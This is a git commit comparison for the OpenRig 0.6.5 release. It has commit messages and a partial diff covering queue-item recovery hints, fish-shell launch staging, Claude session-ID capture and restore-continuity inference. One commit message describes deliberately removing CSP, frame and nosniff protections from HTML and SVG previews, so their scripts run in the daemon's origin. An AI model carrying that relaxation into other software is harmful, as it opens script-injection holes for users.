Compare commits

...
9 Commits
Author SHA1 Message Date
Mike Schwarz 5ea35e93bc fix(daemon): recognize Claude effort in identity proof (0.6.5 port of #681) (#687)
Port of #681 (main 6bdbed2b) onto release/0.6.5 for 0.6.5. A Claude seat launched with --effort now passes exact identity proof: both argv readers skip --effort <value> and --effort=<value> like the other launch options. Refs #197
2026-10-04 01:55:28 -07:00
Mike Schwarz f633b2310e release: 0.6.5 version (#672)
Set the release version to 0.6.5 in the root, cli, daemon and ui package manifests and the matching package-lock entries. No code, dependency or plugin version change.
2026-10-03 23:57:41 -07:00
Mike Schwarz 852e3d550f docs(onboarding): teach the route to a project's declared context (#679)
The shipped start-up text and the restore and reorientation skills now teach how an agent reaches its project's declared context: rig context work-install lists what the project declares (intent, context files, skills), the agent reads the ones its task needs, and --deliver prints them all. When several projects are declared it stops with project_required, rig context work-install --json lists their ids, and the agent picks one with --project instead of guessing. The placement skill gains a section on project knowledge: product facts, project judgment and machine-local state, and where each belongs.

(cherry picked from commit 9e24dff936)
2026-10-03 23:56:36 -07:00
Mike Schwarz 4b43921b9c fix(daemon): save the current Claude conversation before shutdown (#658)
Before the shutdown snapshot, a classic Claude seat's current conversation ID is read from Claude's own session file for the stable foreground process, so after /clear a later restart resumes the conversation the user is actually in rather than the pre-clear one. The read requires a matching seat name, a file written at or after the process started, a valid token and an unchanged process observation. Missing or ambiguous evidence keeps the existing shutdown behavior, and the existing provenance rules still protect hook, operator and adoption tokens. An archived rig whose name is now used by another live rig is not refreshed, so it keeps its own saved conversation. An unchanged token keeps its provenance. Shutdown now adds two process observations and synchronous file reads, which are not time-bounded.

(cherry picked from commit 3425e9d207)
2026-10-03 21:09:19 -07:00
Mike Schwarz 1374258c90 fix(launch): preserve Claude function lookup in fish panes (#657)
In a fish pane, a classic Claude launch now sources the staged launch script in the pane's own fish when a fixed pre-launch probe shows fish accepts leading VAR=value assignments (fish 3.1 and later), so a claude defined only as a fish function or alias launches as it did when the launch was typed directly into the pane. Older fish, launch commands or paths containing a backslash, and wrappers too long for the safe input bound keep the existing /bin/sh staging, so anything that launched before still launches the same way. The probe uses /bin/sh -c :, which exists wherever the fallback already works, including macOS. Other shells, other runtimes and managed launches are unchanged; nushell stays on /bin/sh.

(cherry picked from commit b4a68d1c0b)
2026-10-03 20:47:49 -07:00
Mike Schwarz 4cbba04137 Keep the assigned session ID for fresh Claude launches (#656)
A fresh Claude launch now records the session ID OpenRig assigned with --session-id, instead of the first session file in the Claude config folder whose name matches. Two live seats with the same name sharing one config folder could otherwise record each other's ID, so a later resume opened the wrong conversation. The fork path, which has no assigned ID, still matches by name; that limit is unchanged. Tests cover a single matching file, another same-name seat listed first, and only the other seat's file.

(cherry picked from commit f475fc3cff)
2026-10-03 19:09:59 -07:00
Mike Schwarz cf6d82be1e fix: keep acknowledged continuity unverified without restore proof (#652)
Acknowledging a working seat made inventory infer resumed, even when no evidence established that its original conversation resumed. This keeps the restore acknowledgment (operator_recovered) but leaves inferred continuity null unless the winning reconciliation carries strict restore proof bound to the same rig, node, attempt and completion receipt. rig seat status shows null as "unverified", including for seats that were never restored and have no explicit continuity outcome.

Explicit stored continuity values keep their precedence. A running acknowledged seat stays running, and applicable identity mismatches still require attention. Clear-attention decisions, recovery, delivery, tokens and lifecycle actions are unchanged. Restore-start reads are eligible for the existing node/type index, with a scan fallback when that optional index is absent, and no per-seat receipt queries are added. The user guide sentence that described the old behavior is corrected; plugin versions are unchanged.

(cherry picked from commit 3c8a20e3d8)
2026-10-03 17:27:31 -07:00
Mike Schwarz 94d2da21ef Show daemon and recovery guidance for missing queue items (#654)
When a queue item ID is not found on the daemon the CLI is talking to, the ten queue item commands (claim, unclaim, update, block, resolve, handoff, handoff-and-complete, fallback, show and transitions) now add a hint to the existing qitem_not_found error. The hint names the daemon by the host ID it reports, or says the ID is unavailable, and adds: if the item came from another host, run rig host list, then OPENRIG_URL='<daemon-url>' rig queue show '<id>' --full --json.

The error field, HTTP status and exit code are unchanged; the hint is an additional field. The host ID comes from one bounded read of the same daemon's health endpoint, made only after a not-found answer. Nothing is searched, no host is inferred from the ID, and writes are never replayed.

(cherry picked from commit f0113149b7)
2026-10-03 17:26:47 -07:00
Mike Schwarz 5503930448 Restore explicit HTML and inline SVG asset previews (#653)
Explicit render=1 HTML previews again load without the script-free CSP, frame restrictions or nosniff, and SVG assets are served inline without forced attachment. This also restores the earlier header behavior for external script assets used by a preview.

Rendered HTML and directly opened SVG can run scripts in the daemon's origin. Default HTML remains text/plain. Authorization, the allowlist, path containment, response bodies, content types and range handling are unchanged from this change's base.

Validation: 63 focused route and header controls passed on the equivalent reviewed files, including full and partial JavaScript responses; the two new JavaScript controls failed against the previous route. No real-browser run was performed.

(cherry picked from commit f8c070a5bf)
2026-10-03 17:21:29 -07:00
33 changed files with 951 additions and 311 deletions

No files matched your search

+5 -5
View File
@@ -1,12 +1,12 @@
{
"name": "openrig",
"version": "0.6.3",
"version": "0.6.5",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "openrig",
"version": "0.6.3",
"version": "0.6.5",
"license": "Apache-2.0",
"workspaces": [
"packages/daemon",
@@ -7068,7 +7068,7 @@
},
"packages/cli": {
"name": "@openrig/cli",
"version": "0.6.3",
"version": "0.6.5",
"hasInstallScript": true,
"license": "Apache-2.0",
"dependencies": {
@@ -7103,7 +7103,7 @@
},
"packages/daemon": {
"name": "@openrig/daemon",
"version": "0.6.3",
"version": "0.6.5",
"license": "Apache-2.0",
"dependencies": {
"@hono/node-server": "^1.13.0",
@@ -7144,7 +7144,7 @@
},
"packages/ui": {
"name": "@openrig/ui",
"version": "0.6.3",
"version": "0.6.5",
"license": "Apache-2.0",
"dependencies": {
"@fontsource-variable/jetbrains-mono": "^5.2.8",
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "openrig",
"version": "0.6.3",
"version": "0.6.5",
"private": true,
"license": "Apache-2.0",
"type": "module",
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "@openrig/cli",
"version": "0.6.3",
"version": "0.6.5",
"type": "module",
"description": "Build your own network of agents from Claude Code, Codex and Pi: persistent teams with roles, shared context and owned work.",
"keywords": [
+37 -10
View File
@@ -163,6 +163,33 @@ function printResult(json: boolean, body: unknown, status: number): void {
if (status >= 400) process.exitCode = status >= 500 ? 2 : 1;
}
// Recovery belongs to the selected daemon's reply; never infer a host from an ID.
async function printQueueItemResult(
client: DaemonClient,
qitemId: string,
json: boolean,
body: unknown,
status: number,
): Promise<void> {
if (status >= 400 && body && typeof body === "object"
&& (body as { error?: unknown }).error === "qitem_not_found") {
let selfHostId: string | undefined;
try {
const health = await client.get<{ selfHostId?: unknown }>("/healthz", { timeoutMs: 1_000 });
if (health.status === 200 && typeof health.data?.selfHostId === "string" && health.data.selfHostId.trim()) {
selfHostId = health.data.selfHostId;
}
} catch { /* Identity enrichment must not replace the original queue failure. */ }
const daemon = selfHostId ? `daemon ${JSON.stringify(selfHostId)}` : "the selected daemon (host ID unavailable)";
body = {
...body,
hint: `Queue item ${JSON.stringify(qitemId)} was not found on ${daemon}.\n`
+ `If it came from another host, run rig host list; replace <daemon-url> with its registered daemon URL and run: OPENRIG_URL='<daemon-url>' rig queue show ${shellQuote(qitemId)} --full --json`,
};
}
printResult(json, body, status);
}
// OPR.0.4.3.03 — `rig queue show` body preview.
//
// Default `show` renders a BOUNDED body preview instead of dumping the whole
@@ -656,7 +683,7 @@ export function queueCommand(depsOverride?: QueueDeps): Command {
const deps = getDeps();
await withClient(deps, async (client) => {
const res = await client.post<unknown>(`/api/queue/${encodeURIComponent(qitemId)}/claim`, {});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -675,7 +702,7 @@ export function queueCommand(depsOverride?: QueueDeps): Command {
const res = await client.post<unknown>(`/api/queue/${encodeURIComponent(qitemId)}/unclaim`, {
reason: opts.reason,
});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -726,7 +753,7 @@ export function queueCommand(depsOverride?: QueueDeps): Command {
evidenceRef: opts.evidenceRef,
transitionNote: opts.note,
});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -782,7 +809,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
wakeAfterSeconds: opts.wakeAfter,
transitionNote: opts.continuation ? `continuation: ${opts.continuation}` : (opts.note ?? `parked on ${opts.on}`),
});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -825,7 +852,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
},
bearer ? { headers: { Authorization: `Bearer ${bearer}` } } : undefined,
);
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -918,7 +945,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
nudge: opts.nudge,
...(hostResolved.hostId !== undefined ? { hostId: hostResolved.hostId } : {}),
});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -1011,7 +1038,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
nudge: opts.nudge,
...(hostResolved.hostId !== undefined ? { hostId: hostResolved.hostId } : {}),
});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -1048,7 +1075,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
fallbackDestination: opts.destination,
reason: opts.reason,
});
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
@@ -1068,7 +1095,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
// passthrough on error responses / non-object payloads, where there is
// no string body to preview.
if (opts.full || res.status >= 400 || !isRecordWithStringBody(item)) {
printResult(json, item, res.status);
await printQueueItemResult(client, qitemId, json, item, res.status);
return;
}
const { preview, bodyBytes, bodyTruncated } = previewBody(item.body);
@@ -1092,7 +1119,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
const deps = getDeps();
await withClient(deps, async (client) => {
const res = await client.get<unknown>(`/api/queue/${encodeURIComponent(qitemId)}/transitions`);
printResult(opts.json ?? false, res.data, res.status);
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
});
});
+1 -1
View File
@@ -163,7 +163,7 @@ function printHuman(status: SeatStatusResponse): void {
}
console.log(`Startup: ${display(status.startup_status, "unknown")}`);
console.log(`Occupant lifecycle: ${status.occupant_lifecycle}`);
console.log(`Continuity outcome: ${display(status.continuity_outcome, "unknown")}`);
console.log(`Continuity outcome: ${display(status.continuity_outcome, "unverified")}`);
console.log(`Handover result: ${display(status.handover_result)}`);
console.log(`Previous occupant: ${display(status.previous_occupant)}`);
console.log(`Handover at: ${display(status.handover_at)}`);
@@ -0,0 +1,110 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { DaemonTimeoutError } from "../src/client.js";
import { queueCommand, type QueueDeps } from "../src/commands/queue.js";
import { shellQuote } from "../src/cross-host-executor.js";
vi.mock("../src/daemon-lifecycle.js", async () => ({
...await vi.importActual("../src/daemon-lifecycle.js"),
getDaemonStatus: vi.fn(async () => ({ state: "running", healthy: true, port: 7433 })),
getDaemonUrl: vi.fn(() => "http://selected-daemon:7433"),
}));
const id = "qitem-xh-missing";
const verbs = [
["show"], ["transitions"], ["claim"], ["unclaim"],
["update", "--note", "a note"],
["block", "--on", "external:dependency"],
["resolve", "--decision", "continue"],
["handoff", "--to", "peer@rig", "--summary", "Continue"],
["handoff-and-complete", "--to", "peer@rig", "--summary", "Continue"],
["fallback", "--destination", "peer@rig"],
];
function setup(response = { status: 404, data: { error: "qitem_not_found", message: "original detail" } },
health: unknown = { status: 200, data: { selfHostId: "selected-host" } }) {
const calls: Array<{ path: string; options?: unknown }> = [];
const client = {
baseUrl: "http://selected-daemon:7433",
get: vi.fn(async (path: string, options?: unknown) => {
calls.push({ path, options });
if (path === "/healthz") {
if (health instanceof Error) throw health;
return health;
}
return response;
}),
post: vi.fn(async (path: string) => { calls.push({ path }); return response; }),
};
const deps: QueueDeps = {
lifecycleDeps: {} as QueueDeps["lifecycleDeps"],
clientFactory: (baseUrl) => {
expect(baseUrl).toBe(client.baseUrl);
return client as unknown as ReturnType<QueueDeps["clientFactory"]>;
},
};
return { deps, calls };
}
let output: string[];
beforeEach(() => {
vi.stubEnv("OPENRIG_SESSION_NAME", "seat@rig");
output = [];
vi.spyOn(console, "log").mockImplementation((...args) => output.push(args.join(" ")));
vi.spyOn(console, "error").mockImplementation(() => {});
vi.spyOn(process.stderr, "write").mockImplementation(() => true);
process.exitCode = undefined;
});
afterEach(() => { process.exitCode = undefined; vi.unstubAllEnvs(); vi.restoreAllMocks(); });
for (const json of [false, true]) {
describe(json ? "JSON recovery" : "human recovery", () => {
it.each(verbs)("%s names the selected host and a read-only recovery", async (verb, ...options) => {
const { deps, calls } = setup();
await queueCommand(deps).parseAsync(["node", "rig", verb, id, ...options, ...(json ? ["--json"] : [])]);
expect(process.exitCode).toBe(1);
const body = JSON.parse(output.join("\n"));
expect(body.error).toBe("qitem_not_found");
expect(body.message).toBe("original detail");
expect(body.hint).toBe(`Queue item "${id}" was not found on daemon "selected-host".\n`
+ `If it came from another host, run rig host list; replace <daemon-url> with its registered daemon URL and run: OPENRIG_URL='<daemon-url>' rig queue show ${shellQuote(id)} --full --json`);
expect(calls).toHaveLength(2);
expect(calls[1]).toEqual({ path: "/healthz", options: { timeoutMs: 1_000 } });
expect(calls.some(c => c.path.includes("/hosts"))).toBe(false);
});
});
}
it.each([
new DaemonTimeoutError("identity read timed out"),
{ status: 200, data: {} },
{ status: 503, data: { selfHostId: "not-confirmed" } },
])("keeps recovery and exit1 when host identity is unavailable", async (health) => {
const { deps } = setup(undefined, health);
await queueCommand(deps).parseAsync(["node", "rig", "show", id, "--json"]);
const body = JSON.parse(output.join("\n"));
expect(body.error).toBe("qitem_not_found");
expect(body.hint).toContain("selected daemon (host ID unavailable)");
expect(body.hint).toContain("rig host list");
expect(body.hint).not.toContain("not-confirmed");
expect(process.exitCode).toBe(1);
});
it.each([200, 403, 500])("leaves other response/status %s unchanged without an identity request", async (status) => {
const data = { error: "some_other_result", message: "unchanged" };
const { deps, calls } = setup({ status, data });
await queueCommand(deps).parseAsync(["node", "rig", "transitions", id, "--json"]);
expect(JSON.parse(output.join("\n"))).toEqual(data);
expect(process.exitCode).toBe(status >= 500 ? 2 : status >= 400 ? 1 : undefined);
expect(calls).toHaveLength(1);
});
it("quotes the supplied ID without guessing a host or suggesting a write replay", async () => {
const supplied = "remote' item";
const { deps, calls } = setup();
await queueCommand(deps).parseAsync(["node", "rig", "update", supplied, "--note", "keep", "--json"]);
const body = JSON.parse(output.join("\n"));
expect(body.hint).toContain(`rig queue show ${shellQuote(supplied)} --full --json`);
expect(body.hint).not.toContain("queue update");
expect(calls[0]?.path).toBe(`/api/queue/${encodeURIComponent(supplied)}/update`);
expect(process.exitCode).toBe(1);
});
+1 -1
View File
@@ -245,7 +245,7 @@ describe("rig seat status", () => {
const output = logs.join("\n");
expect(exitCode).toBeUndefined();
expect(output).toContain("Occupant lifecycle: active");
expect(output).toContain("Continuity outcome: unknown");
expect(output).toContain("Continuity outcome: unverified");
expect(output).toContain("Handover result: none");
expect(output).toContain("Previous occupant: none");
});
@@ -48,6 +48,11 @@ When you need to know what OpenRig can do, run `rig context get onboarding-width
`public-what-you-can-do.md` is the capability map and `public-reference-material.md` the documentation map. For
any one command, `rig <command> --help` on the installed binary is the most current answer.
When your work belongs to a project, `rig context work-install` lists what this project declares (intent, context
files, skills). Read the ones your task needs; `--deliver` prints them all. If several projects are declared, it
stops with `project_required`; `rig context work-install --json` lists their ids. Pick one with `--project <id>`
rather than guessing.
If you plan or route work, a project's world pack is worth loading in full. If you build, stay with the outcome you
were handed and what counts as done. If you are setting up a world pack for your own project,
`rig context get world-example` has a fill-in template.
@@ -158,7 +158,10 @@ You have facts without connections. Rebuild the connections before you act on an
`rig context profile <world-ref> --situation post-compaction --rig <rig> --seat <seat>` (the seat flags are
needed for its seat-scoped recap atom; take both values from `rig whoami --json`). Without a private world,
run `rig context profile world-public --situation post-compaction` and `rig context get onboarding-width`. This restores how the system works before you
restore what you were doing in it.
restore what you were doing in it. If your work belongs to a project, re-enter its declared context too:
`rig context work-install` lists what the project declares (intent, context files, skills), so read the pieces
your task needs. `--deliver` prints them all; when several projects are declared (`--json` lists the ids), name
one with `--project <id>`.
4. **Read your own restore map in full**: the newest `RESTORE-MAP-*.md` in your seat folder, which the
compaction summary should name. If it points to an earlier map for context you need, read that too.
5. **Read down the map's ranked list** to your class's tier line, reading exactly the parts each entry names.
@@ -89,7 +89,10 @@ you should know which pillar you're operating in:
OpenRig manages topology and exposes public context through `rig context`.
Project-authored sources supply project-specific knowledge; transcripts retain
recorded work. These sources already coexist. Discover the configured library
and selected task context rather than assuming a particular private corpus.
and selected task context rather than assuming a particular private corpus:
`rig context list` shows the configured packs, and `rig context work-install`
lists what the current project declares (intent, context files, skills), so you
read only the pieces a task needs.
---
@@ -343,6 +343,23 @@ mission carries its intent and mission-level specification in the same authored
`mission-slice-sop` and any explicit mode overlay; mission specification is not a
requirement to repeat every slice detail.
### Project knowledge: three kinds, three homes
Before you write down something you learned about a project, decide which kind it is.
- **Product facts** say what is true of the software at a version: commands, behaviour, formats. They live in the
product's own documentation, versioned with the code and checked against source. Anywhere else, link to them
rather than copying them; a copy stops following releases.
- **Project judgment** says how to work on the project now: intent, workflow, priorities, routes, who decides what.
It lives in the project's world pack and its work tree, and it can change without a release.
- **Machine-local state** is true of one instance only: paths, hosts, live rosters, counts, credentials. It belongs
in configuration, in a seat's `LEARNED.md`, or as the command that derives it. It never goes into shipped content
or a shared world.
Agents find a project's declared context with `rig context work-install`, which lists what the project declares:
its intent, the context files in its `project.yaml` `install` block, and its skills. When project knowledge should
reach every agent working on the project, add it to that declaration rather than starting a second index.
### The other axis: AUDIENCE is not MATURITY
These are independent, and merging them is seductive because the merged version is prettier.
@@ -596,9 +596,11 @@ the restore reconciler's exact native-token and usable-pane checks; `--reason`
cannot replace them. Subset-restore attention can reach the attestation path
when no active pane-identity class takes precedence. That path records
`operator_recovered` with `runtimeCwdVerified:false`; it is an acknowledgment,
not proof of resumed lineage. Current inventory can still derive `resumed` from
that outcome when no explicit continuity outcome exists, so do not use that
label alone as continuity evidence.
not proof of resumed lineage. Without an explicit stored continuity outcome,
inventory leaves continuity null (`unverified` in `rig seat status`) unless the
same restore attempt has a matching receipt and reconciliation with strict
native-token and usable-pane proof. Explicit stored outcomes remain historical
facts; acknowledgment or responsiveness alone cannot infer `resumed`.
### Native Codex session id capture
@@ -228,7 +228,10 @@ pre-release is a real failure. For the actual job, follow the **role-appropriate
packet or boot points at — a high-context seat may still owe a **wide, blunt read-back** before
real work. The markdown control plane routes you to depth **on demand**: reach for
`find-openrig-skills` and the codemaps to pull exactly what a question needs, when it
arises. Wide-angle first, then depth by need.
arises. Wide-angle first, then depth by need. For the project the seat works on,
`rig context work-install` lists what it declares (intent, context files, skills); read what
your first task needs, and when it reports several projects (`--json` lists the ids), select one
with `--project <id>`.
## See also
@@ -26,6 +26,9 @@ the complete node and notes bodies. The script resolves `topology.root` and `wor
`rig config get`. When a current node cannot be derived, set `OPENRIG_REFOCUS_TOPOLOGY_NODE` or
`OPENRIG_REFOCUS_WORK_NODE`, or pass the matching `--*-start` option.
The trace walks the topology and work trees. For the project's own declared context (intent, context files,
skills), `rig context work-install` lists it; read what the next action needs.
Read [references/refocus.md](references/refocus.md) when changing the automatic hook or its content
ladder. A missing chain file is evidence: report the gap and continue; never follow pointers to invent
a second parent.
@@ -103,6 +103,11 @@ stay durable-substrate-first (the packet/artifacts are the truth; the CLI is the
3. **A runtime resume is mistaken for a seat handover or fork.** These have different continuity outcomes and provenance — don't conflate.
4. **A rebuilt seat starts with stale instructions that conflict with current workflow mode.** Restore must include current state, not just historical state.
**Re-entering project context, on any runtime.** A restore packet carries the work in flight, not the project's
declared intent and context files. `rig context work-install` lists what the project declares; read the pieces the
restored task needs. `--deliver` prints them all, and when several projects are declared (`--json` lists the
ids), select one with `--project <id>` instead of guessing.
## Proof standard
Proof should include a deliberate compaction/restart of a seat with
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "@openrig/daemon",
"version": "0.6.3",
"version": "0.6.5",
"private": true,
"license": "Apache-2.0",
"type": "module",
@@ -337,10 +337,9 @@ export class ClaudeCodeAdapter implements RuntimeAdapter {
return { ok: true, resumeToken: opts.resumeToken, resumeType: "claude_id", appliedLaunch };
}
// Belt-and-suspenders: prefer an immediately discoverable persisted session,
// but fall back to the UUID we assigned explicitly at launch time.
const token = this.captureResumeToken(opts.name, managed?.configDir);
return { ok: true, resumeToken: token ?? generatedSessionId ?? undefined, resumeType: "claude_id", appliedLaunch };
// Fresh launches already have an explicit --session-id. A same-name file
// can belong to another seat sharing the Claude config directory.
return { ok: true, resumeToken: generatedSessionId!, resumeType: "claude_id", appliedLaunch };
}
async checkReady(binding: NodeBinding): Promise<ReadinessResult> {
+15 -3
View File
@@ -11,7 +11,7 @@ interface TmuxShellCommandOptions {
stageIfLong?: boolean;
/** A staged single-executable runner must replace the staging shell. */
execInScript?: boolean;
/** Preserve rc aliases/functions in a POSIX pane shell; other shells use /bin/sh. */
/** Preserve rc aliases/functions in POSIX or fish panes; other shells use /bin/sh. */
sourceInPane?: boolean;
}
@@ -655,12 +655,24 @@ export class TmuxAdapter {
private async sendShellCommandUnchecked(target: string, command: string, beforeInput: (() => void) | undefined, options: TmuxShellCommandOptions): Promise<TmuxResult> {
const commandBytes = Buffer.byteLength(command, "utf8");
// The subshell/source syntax is not valid in fish or nu. Unknown/unreadable
// panes retain the portable /bin/sh invocation used by ordinary staging.
// POSIX shells retain subshell isolation; unknown/unreadable panes use sh.
const paneShell = options.sourceInPane ? (await this.getPaneCommand(target) ?? "").replace(/^-/, "") : "";
const sourceInPane = ["bash", "zsh", "sh", "dash", "ksh"].includes(paneShell);
let path = options.stageIfLong && commandBytes <= 512 ? undefined : this.fileOps.tmpName();
let invocation = path ? sourceInPane ? `( . ${shellQuote(path)} )` : `/bin/sh ${shellQuote(path)}` : command;
if (path && paneShell === "fish") {
const quotedPath = shellQuote(path);
invocation = `/bin/sh ${quotedPath}`;
// Fish single quotes reinterpret POSIX backslashes. Keep those payloads
// (and paths) on sh, preserving existing executable launches byte-for-byte.
if (!command.includes("\\") && !path.includes("\\")) {
// Probe fixed syntax in the pane before sourcing, not the launch's exit
// status: even failed cleanup must not turn a later exit into a retry.
const sourced = `if eval 'OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :'; source ${quotedPath}; else; /bin/sh ${quotedPath}; end`;
// Repeating the path must not add a refusal for previously valid TMPDIRs.
if (Buffer.byteLength(sourced, "utf8") <= 512) invocation = sourced;
}
}
if (Buffer.byteLength(invocation, "utf8") > 512) {
// Pi commands below the canonical tty limit still fit when staging cannot.
if (options.stageIfLong && commandBytes < 1024) {
@@ -95,8 +95,8 @@ function claudeSessionToken(args: string[]): string | null {
for (let index = 0; index < args.length; index += 1) {
const arg = args[index]!;
if (index === 0 && /^\(\d+\.\d+\.\d+[^)]*\)$/.test(arg)) continue;
if (["--permission-mode", "--model", "--name"].includes(arg)) { index += 1; continue; }
if (/^--(?:permission-mode|model|name)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
if (["--permission-mode", "--model", "--name", "--effort"].includes(arg)) { index += 1; continue; }
if (/^--(?:permission-mode|model|name|effort)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
const identity = arg.match(/^--(?:session-id|resume)(?:=(.*))?$/);
if (!identity) return null; // Unknown argv is not positive identity proof.
const value = identity[1] ?? args[++index];
@@ -115,12 +115,12 @@ function claudeSessionIdentity(args: string[]): string | null | { unparsed: true
for (let index = 0; index < args.length; index += 1) {
const arg = args[index]!;
if (index === 0 && /^\(\d+\.\d+\.\d+[^)]*\)$/.test(arg)) continue;
if (["--permission-mode", "--model", "--name", "--settings"].includes(arg)) {
if (["--permission-mode", "--model", "--name", "--settings", "--effort"].includes(arg)) {
const value = args[++index];
if (!value || value.startsWith("-")) return unparsed;
continue;
}
if (/^--(?:permission-mode|model|name|settings)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
if (/^--(?:permission-mode|model|name|settings|effort)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
const identity = arg.match(/^--(?:session-id|resume)(?:=(.*))?$/);
if (!identity) return unparsed; // Unknown argv is not positive identity proof.
const value = identity[1] ?? args[++index];
+99 -44
View File
@@ -249,18 +249,20 @@ function deriveOccupantLifecycle(
function deriveContinuityOutcome(
row: InventoryRow,
restoreOutcome: NodeRestoreOutcome,
restore: RestoreProjection | undefined,
): NodeInventoryEntry["continuityOutcome"] {
if (row.continuity_outcome) {
return row.continuity_outcome as NodeInventoryEntry["continuityOutcome"];
}
const restoreOutcome = restore?.outcome ?? "n-a";
if (restoreOutcome === "n-a") return null;
// L3: `attention_required` and `operator_recovered` are restore-attempt
// outcomes that don't map onto the ContinuityOutcome vocabulary
// ("resumed"|"rebuilt"|"forked"|"fresh"|"failed"). Surface as null here;
// the lifecycleState projection picks them up via restoreOutcome directly.
// Acknowledgment and responsiveness clear attention, not conversation lineage.
// Only the winning reconciliation's bound strict proof can infer a resume.
// Explicit stored outcomes above remain historical facts, not fresh probes.
if (restoreOutcome === "attention_required") return null;
if (restoreOutcome === "operator_recovered") return "resumed";
if (restoreOutcome === "operator_recovered") {
return restore?.resumedRuntime === row.runtime ? "resumed" : null;
}
// OPR.0.3.4.2: a deliberate fresh-prime IS fresh continuity; awaiting-decision
// means zero session, so no continuity outcome exists — null (the
// restoreOutcome field carries the distinct term).
@@ -269,44 +271,96 @@ function deriveContinuityOutcome(
return restoreOutcome;
}
// FS-1 W1.3 S1 — hoist restore-outcome derivation to ONCE-PER-RIG.
// Prior shape: deriveRestoreOutcome(db, rigId, nodeId) fetched + JSON-parsed the
// rig's ENTIRE restore-event set once PER NODE inside buildInventoryEntry (K
// nodes x E events per rig per poll = the dominant W3 residual). This builds a
// nodeId->outcome map in ONE seq-DESC pass and buildInventoryEntry does an O(1)
// lookup.
// OPR.0.3.4.11 + 0.4.0.16: per-node-latest across restore.completed,
// restore.subset_completed, AND restore.outcome_reconciled. reconciled has a
// different shape (top-level nodeId/to, not result.nodes[]).
// BYTE-IDENTICAL BY CONSTRUCTION: the prior per-node reader returned the FIRST
// event in seq-DESC order that referenced the node. This single seq-DESC pass
// sets a node's outcome ONLY IF ABSENT — so the first (highest-seq) event
// referencing a node wins, reproducing exactly that (incl.
// newer-reconcile-overrides-older-failure). rigId given -> WHERE rig_id=? (the
// prior single-rig filter); rigId omitted -> all rigs in one pass (a nodeId is
// referenced only by its own rig's events, so the per-node value is identical).
// [GUARD AT CODE REVIEW: the only-if-absent set is the one load-bearing
// semantics cell — it is what preserves first/newest-wins.]
function buildRestoreOutcomeMap(db: Database.Database, rigId?: string): Map<string, NodeRestoreOutcome> {
const stmt = db.prepare(
`SELECT type, payload, seq FROM events WHERE type IN ('restore.completed', 'restore.subset_completed', 'restore.outcome_reconciled')${rigId ? " AND rig_id = ?" : ""} ORDER BY seq DESC`
);
const rows = (rigId ? stmt.all(rigId) : stmt.all()) as { type: string; payload: string; seq: number }[];
const map = new Map<string, NodeRestoreOutcome>();
interface RestoreProjection {
outcome: NodeRestoreOutcome;
resumedRuntime?: "claude-code" | "codex";
}
function restoreKey(rigId: string, nodeId: string): string {
return JSON.stringify([rigId, nodeId]);
}
function eventObject(value: unknown): Record<string, any> | undefined {
return value !== null && typeof value === "object" && !Array.isArray(value)
? value as Record<string, any> : undefined;
}
// One batch for either the selected rig or the fleet. Keep the outcome arm's
// existing partial indexes; exclude the rig-only index for starts (NULL node_id)
// so the node/type index can select them, with a scan fallback if it is absent.
// UNION ALL adds attempt boundaries without a per-node receipt query.
// Ascending seq with overwrites preserves the former newest-node, first-wins
// fold. Evidence is never borrowed
// from an older reconciliation when a newer acknowledgment wins.
function buildRestoreOutcomeMap(db: Database.Database, rigId?: string): Map<string, RestoreProjection> {
const filter = rigId ? " AND rig_id = ?" : "";
const startsFilter = rigId ? " AND +rig_id = ?" : "";
const rows = db.prepare(`
SELECT type, payload, seq, rig_id, node_id FROM events
WHERE type IN ('restore.completed', 'restore.subset_completed', 'restore.outcome_reconciled')${filter}
UNION ALL
SELECT type, payload, seq, rig_id, node_id FROM events
WHERE node_id IS NULL AND type = 'restore.started'${startsFilter}
ORDER BY seq ASC
`).all(...(rigId ? [rigId, rigId] : [])) as {
type: string; payload: string; seq: number; rig_id: string; node_id: string | null;
}[];
const map = new Map<string, RestoreProjection>();
const attempts = new Map<string, {
seq: number;
start?: Record<string, any>;
completed: boolean;
outcomes: Map<string, string>;
}>();
for (const row of rows) {
try {
if (row.type === "restore.outcome_reconciled") {
const event = JSON.parse(row.payload) as { nodeId: string; to: string };
if (!map.has(event.nodeId)) map.set(event.nodeId, mapStatus(event.to));
continue;
}
const event = JSON.parse(row.payload) as { result: RestoreResult };
for (const nodeResult of event.result.nodes) {
if (!map.has(nodeResult.nodeId)) map.set(nodeResult.nodeId, mapStatus(nodeResult.status));
}
} catch {
let event: Record<string, any> | undefined;
